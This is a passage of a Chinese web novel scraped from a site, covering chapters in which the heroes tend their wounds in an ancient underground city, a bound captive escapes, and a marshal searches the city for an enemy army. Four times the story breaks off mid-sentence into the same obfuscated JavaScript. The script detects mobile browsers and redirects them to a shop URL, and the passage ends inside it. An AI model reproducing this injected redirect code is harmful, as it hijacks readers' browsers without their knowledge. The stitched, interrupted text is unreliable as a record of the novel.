233. 抗黎梦5 燕无听闻,警觉地直起了身体,像是守夜人发现了异常一般,“我去看看。” 古古的目光紧随着男人,看他往门口走去,靠在石屋内的墙壁上,探出一个脑袋,谨慎地盯着外面。 这么观察了半晌,燕无突然抽身,回来,取走他没拼完的手枪,而后站在所有人的前面,抬起它,枪口对准了房门口。 古古看到他的动作,心脏提到了嗓子眼。 又是敌人……?! 他们所有人都已经过于疲惫,无法再经历一场战斗了,可偏偏这个时候有人找上了门来。 脚步声越来越近了,马上就要到达石屋的门口。 三步……两步……一步。 一个影子从门口冒了出来,定住,看到屋内的景象,突然发出了一阵怪叫,“唔啊啊!!” 那个影子缩了回去,躲开了枪口。燕无放下了枪,自始至终,他没有按下扳机,再者说,那枪没拼完,根本打不出子弹。 外面传来男人的声音,带着些怨怼,“你干什么啊!?吓我一跳……” 听到这声音,不解的困惑找上了古古。 咦?这声音不是…… 燕无冲着外面的人训斥道:“你干什么去了,现在才出现!” 外面的人又探了一个头进来,那是燕戎陵,满脸委屈,“我一直在找你们啊。” 男人蹭进房间里,小心翼翼地,像生怕燕无会真的开枪似的。 等他进来了,古古才看到燕戎陵的背后也背着一把枪,腰侧别着把短小精悍的弯刀,一副全副武装的模样。 见到他,古古不太意外,毕竟几个月前这兄弟俩就是一起离开的,不如说不一起出现才奇怪。 燕无放下了手中的枪,但话语依然有些怒意,“你不是一直跟在我们后面吗,这都能迷路?董莉莉赶来得都比你及时。” 燕戎陵虽然走进了石屋,可依然局促地立在门口,像犯了错似的自行罚站,“我是跟着你们没错,可是你们跑得太快了……这地底下岔路太多,我一个不留神,就跟丢了。” 燕无啧了一声,“关键时刻别掉链子啊,哥。” “知道了,对不起,下次一定不迷路了。”燕戎陵道了歉,这才走进来,他环视了一圈周围,看到了古古和董莉莉他们,叹道,“唉,是我来晚了,看到大家经历了一场苦战啊……” 他的视线继续扫视,而后,突然看到了一旁倒在地上、被五花大绑的黎梦。此刻,黎梦也睁开了眼睛,遍布红血丝的眼睛瞪着来者。 两人离得极近,燕戎陵被吓了一跳,往后退了一步,“这是谁?” 燕无回到古古的身边,把枪揣进了怀里,说道:“我们苦战的始作俑者,黎礼的女儿,黎梦。” 燕戎陵瞪大了眼睛,“你们跟她一个人打,所有人伤成这样?” 燕无的表情有些不爽,“要不我把她的束缚解开,你跟她过两招试试。” 燕戎陵讪笑,“不用了老弟。你知道,我向来对打仗什么的一窍不通。” 燕无哼了一声,他转头,对古古说道:“大哥来了,让他扛着你的……让他扛着这个阿喜,我带着那个姓黎的女人,出发去你说的医疗室吧。” “好。”古古点头,招呼椅子上休息的董莉莉,“莉莉,我们走吧。” “嗯。”董莉莉应道。 于是乎,几人离开了这个临时停靠的石屋,在古古的引导下,往元城上层的医疗室进发。 众人身上都带着大大小小的伤,走在空中廊道上,行进比较缓慢。元城有很多这样的空中走廊,这些廊道有的很窄,只能通过行人,有的很宽,上面修有轨道,明显是为了某些交通工具而建造。它们贯穿各处,像是元城的血管一般,保证各个区块之间的连接。 过程中,燕戎陵像是为了让众人打起精神似的,一直在说话。当下,话题来到了他们是如何来到了元城。 “我们离开暮落镇之后,去了麦哲也,带着那把枪。对,莉莉,就是从你的盆栽里掉出来的那一把。”燕戎陵说道,他背着鹿力喜,嘴里吐着白气,“麦哲也的领主非常支持我们,动用了三成的科研人手,为我们仿制这把武器……” “不能说为我们,他们自己也留下了样本。”拖着黎梦的燕无补充道。 “是的,但他们还是为了两手空空的我们倾囊相助了不是吗?”燕戎陵说道。 燕无道:“……有时候我挺佩服你的积极心态。” “哎呀,人生来一遭,开心最重要。”燕戎陵哈哈笑道,而后,继续说道,“他们还给我升官加爵了呢,虽然我也没管他们要过这些吧……最重要的是,他们还分派了士兵,配给精良的武器,让我们去迎战黎军,可谓是非常信任我们。” 燕无在一旁冷不丁地说道:“他们也不确定这第一批生产的武器有没有问题,只是拿我们去试水罢了。” 燕戎陵道:“你怎么老是把人往坏了想?” 燕无:“是哥把人想得太好了。” 古古插话道:“然后呢,你们怎么会来元城?” 燕戎陵道:“当然是追着黎军过来的。哦,对了,我们来的时候,还遇上了摄文的军队,我还是第一次见到他们的大元帅,哇,那才是真正的将中之将,那叫一个正规,那架势,那个气质——” “你夸敌人是想干什么?”燕无打断他,说道。 “人家大元帅可不是我们的敌人,是你自己妄想的。你们只是正常地在白鸣谷切磋,你却把人家诋毁得一文不值。”燕戎陵道,依然在为一个摄文的大元帅辩解。他越是说,燕无的脸色就越难看,但燕戎陵就是不停下来,“我看他性格挺好的,哪像你跟我描述的那么阴险狡诈,那人多正派啊,我不敢说自己有他的十分之一。” “你又没有在白鸣谷和那家伙打上许多年,你又怎么知道他是一个怎样的人?”燕无说道。 “不需要和他打架,只需要听他说话,见他做事,就能明白他是一个怎样的人。”燕戎陵说道,“他是摄文的大元帅,引领手下那么多将士,这样的人,一定有他自身的魄力。” “怎么,我不也是吗?”燕无不愤地问。 燕家大哥辩解,“我说他好,又没说你不好。” “……随便吧。”燕无似乎是懒得再和燕戎陵争执了,如此说道,不再和他继续纠结下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042867|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,你们是和那个闻人佐大元帅一起回来的?”听几人提到熟知的名字,古古问道。她记得前一阵摄文大元帅借道从元城离开,前往南陆,似乎就是奔着黎军而去。 燕戎陵说道:“是,我们刚巧和他碰上了。他把我们带进来之后,与我们兵分两路,现在不知道在哪呢。唉,这个元城实在是太大了,我都迷路了,现在我们可能已经和大元帅距离很远了。” 燕无听到这里,像是按捺不住一般,又呛了燕戎陵一句,“怎么了,那么希望和他汇合,是开始依赖那些摄文人的力量了,是吗?” 燕戎陵听到燕无的话,眼神有些无辜,“仰仗他,不行吗?” 燕无皱了皱眉头,“摄文是我们世代的敌人,从父王那个时候开始就是这样。” 燕戎陵沉默了半晌,他话锋一转,神情也突然沉重起来,说道:“嗯,的确是这样。这也是为什么,我早在一开始就离开了甾染。因为我并不想要什么敌人。” 燕无张了张嘴,没说出什么来,只是眉头皱得更深。 他们走过了一段被钟乳石包裹的廊道,再度见到光亮时,一片开阔的视野出现在眼前。 盯着那些紧凑的房屋、街道,燕戎陵叹息了一声,有些感概地说:“……可我带走的那些、发誓要追随我的人,他们全都在暮落镇陷入了永眠。是我没有保护好他们,当黎军侵入的时候,我应该和他们在一起,但我没有,我在别的地方。” 燕戎陵说这些话的时候,周围的人都安静地听着,包括燕无也是如此。 古古心想,这好像还是燕戎陵第一次主动提起暮落镇的事情,男人是那里的镇长,那是他亲手搭建起来的庇护所,它毁了,那里的镇民也全都死去,但是,燕戎陵一直就这件事没有说过什么。男人似乎和往常一样,乐观、开朗、豁达。然而,只有此刻,在这个时候,话题来到了这里,他才提起了这件事来。一种难解的忧愁出现在了他的脸上,代表他不是不在意,反而相当在意,在意到如何用乐观的态度去掩饰,也抹消不了那笑容下面的忧愁。 “我曾经以为,带领一伙人安家立业,是一件很容易的事情。”燕戎陵说道,虚扶着廊道的铁制护拦,看着溶洞之中在洪水中一度覆灭的城市,“我有一个愿景,然后,有一群人和我有一样的愿景。于是,我便召集这伙人,和他们一起去实现我们共同的愿望。” 燕戎陵说着,他的声音渐渐沉重了下去,不再显露出他本人时常有的那种豁达,“但是,事实证明,欲望是欲望,现实是现实。我们在现实的土地上搭建自己的愿景,就不能忽视现实中所拥有的一切赤|裸裸的真相。我们为了逃避战争,而离开了甾染。但是,到头来,我们依然活在一个充满了争端的世界上,这是无论我们建立起多么牢固的梦想城池,也无法改变的现实,也是我们无法躲避的现实。” 燕戎陵:“但是,在那样一个悠然的、自由的、安全的小镇子里,我们生活得久了,渐渐忘了一些东西,忘记我们是生活在怎样残酷的一片大地上。没有居安思危就是我们最大的错误。所以,我们领教了惩罚。这个世界永远会教会那些无视规则的人,究竟应该遵守怎样的法则。” 234. 抗黎梦6 燕戎陵回过头来,对燕无说道:“所以啊,燕无,我才说,闻人佐是一个十足正派的人。这不单单是在说他拥有怎样的行事风格,而是说,他是一个彻头彻尾活在这个世界上、一丝逃避的歪心思都没有的人。他看上去牢牢地生根在这片土地上,在乎着也纠结于这片土地发生的种种。便是因为这样,他才时刻保持着警惕,便是因为这样,他才可以作为一个领袖,引领着那么多的人,而不至于因为自己的不切实际,而将跟随他的人引向不归的深渊。” 燕戎陵:“他和我们不一样,和我们这些想要从甾染逃离,想要从一些现实的生活中逃离的人不一样,他真实地活在这个世界上。就算遭遇了挫折,他思考的,也是怎样挽救,怎样解决。而不像我,我会第一个选择逃避。因为,我觉得,一件麻烦事,只要对它视而不见,远离它,和它拉开距离,那么,就算这件麻烦事永远解决不了,永远在那里乱成一团,我也可以当它不存在。但我直觉地感觉,闻人佐不是那样的人,他会直面,他会解决,他是活在规则里的人,他从来没有质疑过规则,他不在乎框架是谁制定的,只是因为出生在这样的一个框架里,便接受这样的命运,接受了,然后,活在这个框架的喜怒哀乐之中,不去质疑,不花这方面的心思。便是因为如此,他有一种非常明晰的秩序感,那是他对自身所在世界的笃信,一些浮萍一样的人绝对不会有的样貌。他给我的,就是这样一个感觉。” 听到这里,古古有些回过味来。 虽然,燕戎陵好像一直在赞扬闻人佐,但是,男人好像一直在说的,都是自己的事情。 闻人佐是活在框架里的人,燕戎陵不是。闻人佐有一种秩序感,燕戎陵没有。闻人佐清楚这片土地的规则,时刻在内心谨记,那造就了他无匹的实力,而燕戎陵不然。 燕戎陵仿佛一个漂流在外的游子,居无定所。一开始所诞生的地方,他不接受那里的规则,所以,他从那里逃走,换了一个地方,去一个从未有过人烟的地方,建立起只属于他自己的秩序。 但是,其实走到哪里都一样,哪里都是残酷的现实世界。在这个过程中,他忘记了那个更大的世界,他忘记了凌驾于所有这些大大小小规矩之上的规则,那让他万劫不复,让他辛苦造就的一切毁于一炬。 男人大抵是在为这些事情而后悔着。 古古不好说些什么,她看向燕无,只见后者也是若有所思一般,沉默着。 但是,这份有些低沉的气氛没有持续多久。燕戎陵首先制造了它,而这低压的氛围,也由他自己打破。 “嗨,说这些干什么。”男人拔高了音调,像是振奋了精神一般,说道:“归根究底,我的意思是,我们还是得适当仰仗闻人佐呀。从麦哲也跟我们过来的人,前一阵子和黎军几乎同归于尽了,反观大元帅,他还是那么人手充沛。不过多久,这元城之中马上就全都是摄文的士兵了。” 那之后,他们没再聊什么深刻的话题。 一行人来到了古古所说的医疗室,它处于一栋独立建筑之中,大楼的门开着,没有被冰封起来。古古知道,这不是因为它当年免受大洪水之害,而是因为点灯人把冰霜通过一些方式融化了,里面想必有那个年迈的女人生存所需要用到的物资。 进入建筑之后,人们开始纷纷寻找起可用的医疗物资。这里有许多没见过的东西,瓶瓶罐罐上标注着看不懂名字的标签,他们没乱动那些东西,只是找来干净的绷带,将几人身上大大小小的伤痕盖住,让身体在将来漫长的时间里自行复原。 一伙人待在医疗室里,互相照顾,慢慢拾掇好了每个人。古古的手得到了更好的包扎,燕无吃了些标记着可以消肿的药,董莉莉也吃了一些,这两人和黎梦对抗的时候,身体上都留下了不轻的瘀伤。董莉莉的右手也包扎了起来,它一度被枪管爆炸的余波波及,划开了不少道口子。 他们处理好了彼此的伤口之后,鹿力喜还是没有醒来。 于是乎,古古陪伴着鹿力喜,而其他人则在这个医疗所里探索了起来。 古古身处一个摆满了药剂的房间里,这是为数不多有床位的房间,他们把鹿力喜放在床上,让他平躺着。而黎梦则被他们丢在了走廊上,女人已经很久没有发出动静,若不是她依然在呼吸,身体在平稳的起伏,古古还以为她已经死了。 坐在床上等待鹿力喜醒来的这段时间里,古古不禁思考起一些问题。 那有关点灯人、黎涵挚、黎礼和黄王。 她有一点纠结。 她从不怀疑自己的立场,她永远和燕无站在一起。 而燕无的敌人,那个伤害了他的女人,黎礼,无疑也是自己的敌人。 但是,另一方面,古古也是她母亲古奈歌的女儿,那意味着,自己有一个特殊的身份——元城人的后代。 想到这里的时候,古古向一旁的昏迷的鹿力喜看过去。那是她的父亲,这是无疑的事实。而古古知道,无论是自己的父亲,还是自己的母亲,都相当尊敬黄王,也尊敬被他们称之为点灯人的女人。 在元城的这段时间里,古古愈发了解那个名叫黎涵挚的老人。虽然黎涵挚一开始想要杀了她,但是,一旦认出古古是古奈歌的女儿,是这个城池的子民,她便提供给她生存的空间,提供给她活下去的食物、衣物、水,任何东西。甚至信任她,打开了元城的山底的通路,把杜光欧和闻人佐两个人放了出去。 这些,都代表着她们之间的情谊。 但是,现在,却是这样。 黎礼居然是点灯人的女儿,是那个黄王的女儿。 怎么会是这样。 古古想,如果黎涵挚的女儿不是黎礼,而是任何另外一个人的话,自己都一定会帮助她们,不管她们要去做什么。 因为元城是她的故土,虽然,她自出生以来就没有来过这个地方。 她在甾染出生,却觉得甾染不是她的家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049279|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有这种感觉,或许是因为古奈歌曾经告诉她,她们的故乡在万里之外的地方;又或许,是因为燕无不喜欢这座城市,所以,她也不喜欢;又或许,这是出于一种内源性的厌恶,因为灵魂记得归处,记得她应该属于什么地方。 第一次来到这里的时候,她意外地不讨厌这个有些阴暗的地下世界。 这里的一切都没有那么明亮,没有太阳,没有风,没有绿色的苔原。但,就是这样的一副景象,让她感觉到了一种久违的宁静,似乎这颗心终于安稳,她的脚步终于可以停下,灵魂也终于有了可以安放的地方。 所以,如果黎涵挚是为了让这个城市变得更好而行动,那么,古古想,自己应该会毫不犹豫地加入她的行列。 但是,现在,她们之间,隔着一个黎礼。就是因为这个女人的存在,她的立场不可能和黎涵挚一致。 这让她有些痛苦,但是,无可奈何。 董莉莉的身影在她眼前一晃而过,古古的思绪中断了,追着她的背影看过去。 血皑人在满是药剂的房间里走动,翻动架子上那些药瓶,把一个个把它们转过来,看着那些标签,再一个个把它们放回原位。 “元城的医疗技术似乎涵盖很多方面。”董莉莉看着那些瓶瓶罐罐,说道,“看上面的注释,治什么的都有。除了最基本的风寒、身体破损、冻伤,还有一些针对胃、心脏、肠道、眼睛、血管的专项药剂。这些东西……在元城之外的地方,可从来没有见到过。” 古古是这房间里唯二还清醒着的人,董莉莉无疑是在对她说话。于是她接话道:“是的,这里的文明,超出了我们所有人的想象。” “如果将这里的医疗技术带出去的话,外面的人的日子应该会过得更好。”董莉莉说道。 古古:“这是无疑的。但没想到,最先流传出去、传播最迅速的,却是这里的武器。” 董莉莉继续着自己的动作,翻查着那些药剂,说道:“是啊,居然是那些武器。而且,我在这里还见到了一些别的。那些更大管径的武器,还有那些巨大的人形兵器,如果全都流传出去的话,世界肯定就乱了套了。” 古古道:“所以……这些东西,一定不可以落在那个女人的手中。” 古古没有具体说是谁,但是,显然,对面的董莉莉明白她的意思。董莉莉的手紧了紧,又松开,将手里的玻璃罐安稳地放回架子上,声音低沉,说道:“是的,绝对不可以。” 这时候,一阵急促的脚步声传了过来。 燕无从远处跑了过来,停在房门口,往里面看进来,模样不知为何有些惊魂未定。 看到房间里面的情况之后,他似乎放下了心来,表情轻松些许,视线投向走廊的方向。 古古看他这副模样,觉得奇怪,问道:“怎么了?” 燕无收回视线,看着古古,道:“放置那个黎梦的地方,只剩下一堆锁链了。” 235. 偶遇1 听到这里,古古的心里咯噔一声。 怎么会?之前明明把她绑得那么牢,绝对不可能有挣脱出来的可能性。 一旁,董莉莉的手一颤抖,险些打翻了手里的药剂瓶。她把玻璃瓶放回架子上,发出清脆的撞击声,脸色有些阴沉,问道:“她逃去哪了?” 燕无摇摇头,“我没看到她逃跑的场面。” 这时候,燕戎陵也赶了过来,他的人影还没有出现,声音就传来过来,“你们没事吧?我看到绑着那个小丫头的锁链全都散开了,人也不见了!” 燕无侧头盯着自己的兄长,道:“他们没事,但是不知道那女人去哪了。” 黎梦给古古留下了不小的心理阴影,此刻她不由得担惊受怕起来,“怎么会,难道又要和她打……” 另一边,董莉莉的身影已经向门口冲了过去。但站在门前的燕无没有给她让位置,拦住了她的去路。 男人说道:“待在房间里,不确定她在哪,出去很危险。” “她离开了,不在这附近。”董莉莉说道。 燕无问:“你知道?” 董莉莉的声音笃定,“她听到了我们所有交谈,知道摄文大元帅的军队身处元城。她一定是去找黎礼报信了,没时间在这里应付我们。” “可黎礼在哪?”燕戎陵凑上来问。 说到这里,古古想起来之前发生的事,说道:“有一个叫夏未信的女人……她带着母上离开,似乎是去找黎礼了。” 燕戎陵听闻,问:“你知道她们往哪个方向走了吗?” 古古:“她们说要去圣殿……我猜应该是地下南部,听说那里几乎没有几栋楼,很空旷。” 燕戎陵立刻行动起来,“我去追,你们在这里待着,哪也别去。” “我在这里照看剩下的人。”燕无十分配合地承接了另一部分职责。 董莉莉从燕无的身侧窜了出去,“我也去。” “喂!”燕戎陵想要阻拦,但是,董莉莉一个矮身,一溜烟从他身边滑了过去。燕戎陵没能拦住她,只得一个箭步跟上去,“你去哪?我们还不知道黎礼具体在哪!” 董莉莉的声音远远传来,“古古不是说她往低层南部去了,空旷的广场,我对那里有印象!” 燕戎陵的声音紧随其后,渐行渐远,越来越小,“咱们不都是从一个方向来的吗?我怎么不记得了!?” 古古忧心忡忡地看着燕无,说道:“燕无,要不你也去吧,看戎陵哥那副样子,我总觉得……有点不靠谱。” “他只是不太认路,其他方面还算牢靠。放心,他这次不可能又跟丢了。”燕无道。似乎是见古古欲言又止,他未等她开口,补充说,“让他去吧,我得留在这里,不能保证那个疯女人真的走了。等这个叫阿喜的男人醒来,我们再一起去追上他们。” 燕无所说的并不是没有可能,万一黎梦没离开,燕家兄弟又都走了的话,她和鹿力喜可就惨了。 于是她应道:“……好。” 古古看着廊道上结满了霜的玻璃,模样忧心忡忡。 莉莉,戎陵哥,要没事啊…… 她在心里如此默默祈祷着。 ## 与此同时。元城,南部底层入口附近。 “你,还有你,跟我来。戍边将军,其它就按照之前的计划,有劳。” 闻人佐叫上了两个称手的摄文士兵,跟随在身侧,与他一同先行前往元城深处探寻。 “是,元帅。”戍边将军应道。 在将军的指挥下,其他士兵涌入了元城底层的建筑群中,开始地毯式的搜索。 他们的目的是找到黎礼。 在南陆的牧盟遇上燕家兄弟之后,得知黎军被麦哲也的军队击溃、残部正向元城进发,他又带着摄文大军赶回元城。 到达元城之后,因和同行者们目的不同,故分开行动。燕家人似乎是想要寻找一个同伴,而闻人佐的目的无疑是清剿剩下的黎军。如果当真让黎军把元城占为己有,无论如何想,都是一件极其危险的事。 说起来,追讨黎军原本不是他的职责。 最初的计划是,他只负责寻找横古山脉东部的通路,打通通路之后,和黎军的正面抗衡就交给束廷将军了。 但是因为束廷将军和摄文先王姜昆维有血缘关系,其背后的利益链说不清道不明。故而,在对姜昆维罪责的追讨过程中,束延将军也不幸被剥夺了军职。 而原本属于束延将军的担子,在群众一声更比一声高的浪潮中,终是落在了大元帅的身上。 所以,就是现在这样了。 得知黎军向元城进发的消息之后,也不需要戍边将军再去镇守白鸣谷吸引黎军的注意了。故而,这个和大元帅一度共同在白鸣谷抗敌、因而关系不错的戍边将军便来协助他,共赴前线对抗黎军。 重新回到战场,闻人佐并没有什么怨言。虽然他一度想要卸去大元帅的职责,但是在亲眼看到元城之后,他退居二线的念头又打消了。 威胁还存在,而且威胁很巨大。 就这么卸任,把一切留给新王去应对,这种事他做不出来。 如果让敌人占据了这座元城,拥有了这里的文明以及它所有的副产物,那么,不管曾经多么衰弱,将来都将无往不胜。 如果总要有人来担任这个城池的首领,让它从冰封的状态下苏醒过来的话,闻人佐无论如何都不希望是一个自己从未见过、只是在别人口中听闻了她残暴事迹的女人。 黎礼,虽然闻人佐从来没有见过这个女人,但是,他已经听了很多关于她的事情。先是知道了她是如何一步步侵蚀了血皑,摧毁了甾染,而后,又在那个血皑的董莉莉口中听闻她是如何践踏焚毁了牧盟的领地。 如此一个侵略者,一个没有人性的征服者,本应该在她一开始漏出獠牙的时候,就引起所有人的警示。 但是,每家都有每家的忧愁。他不知道燕家的甾染当时发生了什么,为什么对黎军一点提防都没有。不过,摄文的确没有功夫去处理南陆的事情。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061507|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是觉得,南陆的事情离他们很远,他们连自己本地摄文的恩怨情仇还没有解决,上上任摄文王姜阳的冤情直到几个月之前才了结,更别提在那种情况下,去应对南陆可能存在的外敌了。 但是,的确,便是在他们处理自家事务的同时,他们给了这个女人在南陆发展的时间。等处理好了摄文的事情,再抬起头来,看这个世界,却发现已经发生了天翻地覆的变化。 敌人不会温和地等待,他们永远有一颗着急焦虑的心,总是一刻不停地发展壮大。 无论如何,闻人佐承认,他们是有一些落后了。尤其是在见到元城这座城市之后,他觉得,他们之前所有的战争——无论是和甾染在白鸣谷的长线僵持,还是和北地刺客联盟的百年恩怨,又或者是和西部小城的来回拉扯——现在看来,都像是些小打小闹。 如果,有任何势力胆敢与元城较量,那才是真正的战争。 元城有着口径几乎和人臂长一样宽的巨型武器,一排又一排,就排列在其中的一个军事广场上。有着人型的巨大兵器,那能发挥出怎样的威力,无人可知。还有形状怪异的金属载具,没有车轮,底部光滑,有两个鸟翅膀一般的铁翼,它腔室是空的,大概是用来装载人或武器,它只是停在地上,不知道如果动起来,又会带来怎样的灾难。 即便闻人佐只用过枪,但是,他丝毫不怀疑,那些体积更大、更不易携带的兵器,会发挥出成百上千倍的破坏力。 任何向元城发起挑战的文明,都会在它的威视下摧毁、崩解。 不过,奇怪的是,便是这样一个强大的文明,却遭遇了无法挽回的天灾,在雪山的底部销声匿迹,一去,就是一百年,一百年间,居然没有一点关于这里的消息流出来,它就像是凭空消失了一般。 沉寂了百年之后,又在这个时间点突然被人提及,带给这片大地新的恐惧。 无论结果如何,是要破坏这里,还是将它托付给值得信赖的人,他都——他都必须代表摄文做些什么。 姜昆维死去不过数月,姜雨才刚刚上位,正是摄文动荡不安的时候。北地的残党虎视眈眈,原本要与他们合并、共同立国的各地势力也在摇摆之中。现在是最为危急的时候,如果处理不好,沦落到了最差的局面——南边的元城归于黎军之手,北地的百年冤家重振旗鼓,西部的众派落井下石——那么,摄文将陷入前所未有的困境,有可能文明都将在这场浩劫之中荡然无存。 绝对不能让姜雨经历这些。 好不容易扳倒了姜昆维,终于,五年前的惨案翻篇,摄文走上正轨,绝对不能在这个时候让外界的因素干扰它的繁荣。 即便,闻人佐觉得自己已经不似往日那般英勇,他的身体遍布伤痕,行动不如年轻时那么锐利,精神也在姜昆维精心设计的无尽摧残中而颓唐,可他仍然不能就这么倒下。 还有他必须去做的事情。 把元城这些事情都解决之后,他再退位吧。 闻人佐摸了摸怀里的枪,一遍遍坚定着自己的想法。 236. 偶遇2 地下的空间很大,自大军从南部入口进入溶洞中后,已经行进了好一阵,才真正见到代表着元城文明的人造建筑。 这座城市异常空洞,又异常寒冷。闻人佐对它的了解有限,毕竟,在几个月前,他还不知道有这么个地方。 他带着两个下属往里走,其他的将士则留在这第一个溶洞中搜索建筑群。虽然知道黎军身在元城,但对他们的具体位置并不明晰,所以只能用最基本的办法搜寻。 元城由几个大溶洞构成,几个溶洞之间,有曲折的小径相连,如果是不熟悉这里的人,很容易就会迷失了方向。它建立在地下,没有太阳和月亮的参考,即便是最聪明的探索者,也很难通过自然规律判断方向。 不过,因为闻人佐来过一次,加之他的记性还不错,所以,他大致知道自己的方位。 他们现在处于元城南端,南部的建筑较少,大多比较恢弘,几乎没有住宅楼。大型建筑规格不一,样式混杂,有大有小,有高有矮,艺术和宗教气息十分浓厚。唯一相同的是,这些各异的建筑全部被封于了冰霜之下。 闻人佐和两个士兵在栈桥上通过,顺着楼梯下到了一片低矮的区域,前方是幽暗的隧道,似乎是两个溶洞之间交界的小径。 闻人佐在此停步,回望。巨大的建筑群矗立在他们的身后,像是在默默注视着他们,打量着这些外来之人。阴影中,玻璃后面,下水的通路里,由于低温凝结的冰晶在昏暗的灯光下闪闪发光,像是一双双眨动的眼睛。 “元帅,不往前进吗?”一个士兵见闻人佐停留了许久,问道。 闻人佐皱眉,观察那些辉煌的建筑,“我们刚才只是路过,但是没有彻查这一片。” 那个士兵回复他,“大部队在后方,他们会逐一检视这些建筑内部。” 闻人佐顿了顿,说道:“我军虽然知道黎军的军装制式,但是,没人知道那个黎礼长什么模样。” 士兵:“您的意思是……” 闻人佐说:“有被她蒙混过关逃跑的可能性。” “可是,本身在这里的女人就很少,只要把她们都抓起来……”士兵道。 “不。”闻人佐说道,“这里有我们的人……起码是和我们一个阵线的人,不能误伤。” 士兵:“那怎么办,元帅?” 闻人佐盯着那些建筑群,不知为何,他就是走不动路。他想,可能是什么心理作用作祟,如果不把这里翻个底朝天,他总觉得心神不宁。 就好像,如果他粗心大意,忽略了这片地方,那么,这份粗心大意就会在将来的某一刻找上门来,用无可挽回的代价惩罚他的疏忽。 他认为自己平时不是一个这么较真的人,但是,今天,此刻,这种感觉十分强烈。 “跟我往回走。”说完,闻人佐动身回撤。两个士兵跟了上来。 一座座寒冰之下的高耸建筑在身旁掠过,闻人佐一一扫视那些建筑的大门、窗棂、外墙,寻找异样。 按常识推断,黎军如果也是通过南侧的大门进入了元城,那么这片恢宏的建筑群也一定是他们的必经之路。虽然不知道他们最终的目的地是哪里,但是或许这里会留下一些他们经过的踪迹。 这么想着,闻人佐四处寻找着可能留下的线索。 就在路过一个只有一层的高大浅黄色建筑时,他停下了脚步。 有什么不太对劲。 他盯着那个尖顶的建筑,上上下下打量了好几番。 终于,他发现了异常的地方。 为什么其他建筑都像是一个包装严密的礼品盒,所有的窗户和大门都是关着的,只有这个一层的浅黄色建筑的门是微微敞开的……? 闻人佐皱起了眉头,给身后两个士兵比了一个噤声的手势,迈开腿,往建筑的方向走去。 登上台阶,来到大门前面,他开始近距离观察这扇门。它的长柄把手有一层厚重的冰,冰层上有一片人的手印。 闻人佐给身后的士兵比了个手势,让他们准备好武器,原地待命。 他自己则提着枪,侧身探头,往那建筑里看。 建筑内部是一个空旷的大堂,虽然只有一层,但是,穹顶很高,房顶上有许多复杂的雕刻。再往下方看去,墙上的玻璃一个连着一个,通通结了霜,而大堂的两侧则摆放着一排排面朝讲台的坐席。 这个大堂似乎是一个聚众处,具体是用来干什么的,闻人佐猜无非是朝拜或者布道之类的用途。 他变换角度,审慎地投去视线,环视了一圈,并没有发现什么异常。大元帅又给身后的人打了个手势,然后,他便往大堂里走去。不需要回头,他知道,现在那两个士兵在正提着枪在后方为他打掩护。 闻人佐放轻了脚步,一步步往里走,进入大堂的一刻,他迅速地左右扫视,死角没有人,也什么都没有发生。 他不得不小心翼翼,毕竟,在枪这种武器面世之后,世界战争的格局都变了,这种杀人于千里之外的武器,需要战士们更多的留意。而闻人佐像是天生就精通这些一般,他也不知道自己怎么回事,在拿到枪的第一天,他就知道该怎么使用它,保证效用最大化,又该怎么防范它,才能在它无情的子弹下得以逃生。 此刻,他压低了身形,走到大堂的一侧,背后冲着墙壁,将整个大堂的视野纳入眼中。他侧着身横向行走,一排排检视座椅,以防有什么人藏身其中。 而跟着他的那两个士兵也走进了门中,一个留在大门,监视里外全局的视野,另一个则来到了大堂的另一侧,和闻人佐面对面横向而行,一人一边,检视着这些座椅之间的缝隙。 闻人佐绷紧了神经,一步步往前走,不敢有一丝的懈怠。大堂门把手上的手印无疑证明有人进来过,或许此刻就在暗中潜伏……绝不能掉以轻心。 便是在这紧绷的气氛中,他突然听到对面的士兵大吼,“别动!” 闻人佐猛然抬头,举枪。只见对面的士兵站在座椅上,枪口朝着地面,似乎是瞄准了椅缝间的某人。 见状,闻人佐收枪快步而去,在座椅间穿梭而过,迅速来到士兵之前,定步,朝他枪口冲着的方向看去。 一个人影蜷缩在座椅的缝隙里,看不清面容。不过,大概能看出是个男人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 